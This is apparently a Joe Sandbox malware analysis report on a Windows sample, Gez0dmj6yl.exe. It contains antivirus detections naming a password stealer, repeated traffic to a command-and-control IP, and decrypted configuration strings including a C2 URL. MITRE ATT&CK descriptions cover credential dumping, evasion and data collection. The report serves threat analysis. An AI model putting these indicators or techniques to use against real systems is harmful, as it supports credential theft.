Opcode ID: e5c191684a97ed79e90dc1f3f7462b643a1ad48b58a79b88f7f7f9c4e7d6a0bd
Instruction ID: c9b7b40926a92a66efdd6a25b7087b1af31fbaf311b1dc7c3604a8e51753e22a
Opcode Fuzzy Hash: e5c191684a97ed79e90dc1f3f7462b643a1ad48b58a79b88f7f7f9c4e7d6a0bd
Instruction Fuzzy Hash: 6992C47091966DCFDBA8EF28C894BA9B7B1FB59344F5001E9D00DE3295CA75AA81CF04

Function 00007FF8490F39F2 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4488905426.00007FF8490F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff8490f0000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d1481d20780778b9d63b095dd40e2c2fe398b8a952d8c5e0a1d953b3ece4a56
Instruction ID: eab410ebb3b0afe21f167256ed6176ef15dfc0d837dde1b17394430e85ff9cee
Opcode Fuzzy Hash: 5d1481d20780778b9d63b095dd40e2c2fe398b8a952d8c5e0a1d953b3ece4a56
Instruction Fuzzy Hash: 9B915E22D0E6C2DFE764AE78A4120E57F61FF517A871801FFC1884E49BD639D94683C4

Function 00007FF848F1C6ED Relevance: .2, Instructions: 249COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4487207777.00007FF848F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff848f10000_Gez0dmj6yl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb5aeee0e2f0ac3233ab75497b6f85978d21df9a4e8b99988a6a48d8424393e8
Instruction ID: 0f64c86a1caa2297cd1f1cab799f7f7d0ad83a32d8556c5466f9f8f9c3337e4c
Opcode Fuzzy Hash: fb5aeee0e2f0ac3233ab75497b6f85978d21df9a4e8b99988a6a48d8424393e8
Instruction Fuzzy Hash: F9817270908A8D8FDBA8EF18C8457F97BE1FF59350F10412AE84DC7292DB78A945CB85

Source: C:\Users\user\Desktop\wWLxmeJG.log	Avira: detection malicious, Label: HEUR/AGEN.1300079
Source: C:\Users\user\Desktop\BRNOuKzz.log	Avira: detection malicious, Label: TR/PSW.Agent.qngqt

Source: http://94.158.244.70	Virustotal: Detection: 6%			Perma Link
Source: http://94.158.244.70/	Virustotal: Detection: 6%			Perma Link

Source: C:\Users\user\Desktop\BRNOuKzz.log	ReversingLabs: Detection: 70%
Source: C:\Users\user\Desktop\BRNOuKzz.log	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\Desktop\wWLxmeJG.log	Virustotal: Detection: 21%	Perma Link

Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 4x nop then jmp 00007FF848F1C906h	0_2_00007FF848F1C6ED
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 4x nop then dec eax	0_2_00007FF8490F9DC7
Source: C:\Users\user\Desktop\Gez0dmj6yl.exe	Code function: 4x nop then jmp 00007FF8490FCA2Bh	0_2_00007FF8490FCA0E

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.244.70

Source: Gez0dmj6yl.exe	String decryptor: ["yyU6eETVoSxkeCUzHmWFYIU0jeGK7xMT0f4Q8gD6EGqGl5IA7cUiXVqqdeX98IX1Fdt8HE0ljaBRbOOnWFNeco6fyNweID85szBHMK22ms97UZOPPum253YbhOJ4RVcf","c13275357a685fa734ed48142b53c64800466aa66229880a2f800b9b6b4c683c","0","","","5","2","WyIwIiwiIiwiNSJd","WyIxIiwiV3lJaUxDSWlMQ0psZVVsM1NXcHZhV1V4VGxwVk1WSkdWRlZTVTFOV1drWm1VemxXWXpKV2VXTjVPR2xNUTBsNFNXcHZhVnB0Um5Oak1sVnBURU5KZVVscWIybGFiVVp6WXpKVmFVeERTWHBKYW05cFpFaEtNVnBUU1hOSmFsRnBUMmxLTUdOdVZteEphWGRwVGxOSk5rbHVVbmxrVjFWcFRFTkpNa2xxYjJsa1NFb3hXbE5KYzBscVkybFBhVXB0V1ZkNGVscFRTWE5KYW1kcFQybEtNR051Vm14SmFYZHBUMU5KTmtsdVVubGtWMVZwVEVOSmVFMURTVFpKYmxKNVpGZFZhVXhEU1hoTlUwazJTVzVTZVdSWFZXbE1RMGw0VFdsSk5rbHVVbmxrVjFWcFRFTkplRTE1U1RaSmJsSjVaRmRWYVV4RFNYaE9RMGsyU1c1U2VXUlhWV2xtVVQwOUlsMD0iXQ=="]
Source: Gez0dmj6yl.exe	String decryptor: [["http://94.158.244.70/","PipeRequestPollPrivatedownloads"]]

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Gez0dmj6yl.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\0XbiVgxDX6

C:\Users\user\AppData\Local\Temp\0gP0jjHGHE

C:\Users\user\AppData\Local\Temp\0lCqKEX4sO

C:\Users\user\AppData\Local\Temp\0lVlfMU0Ex

C:\Users\user\AppData\Local\Temp\0omQ8xDVnJ

C:\Users\user\AppData\Local\Temp\0zDiwczj6i

C:\Users\user\AppData\Local\Temp\1bOyM0gvlM

C:\Users\user\AppData\Local\Temp\2FE6n4XSiC

C:\Users\user\AppData\Local\Temp\2OgQczqIUR

C:\Users\user\AppData\Local\Temp\2Se5KAbRtV

C:\Users\user\AppData\Local\Temp\2gDnwuRKyO

C:\Users\user\AppData\Local\Temp\3LyclkksMU

C:\Users\user\AppData\Local\Temp\4Dn5G2FXPx

C:\Users\user\AppData\Local\Temp\4dX3iO1WxO

C:\Users\user\AppData\Local\Temp\4iflnrhWQ0

Windows Analysis Report
Gez0dmj6yl.exe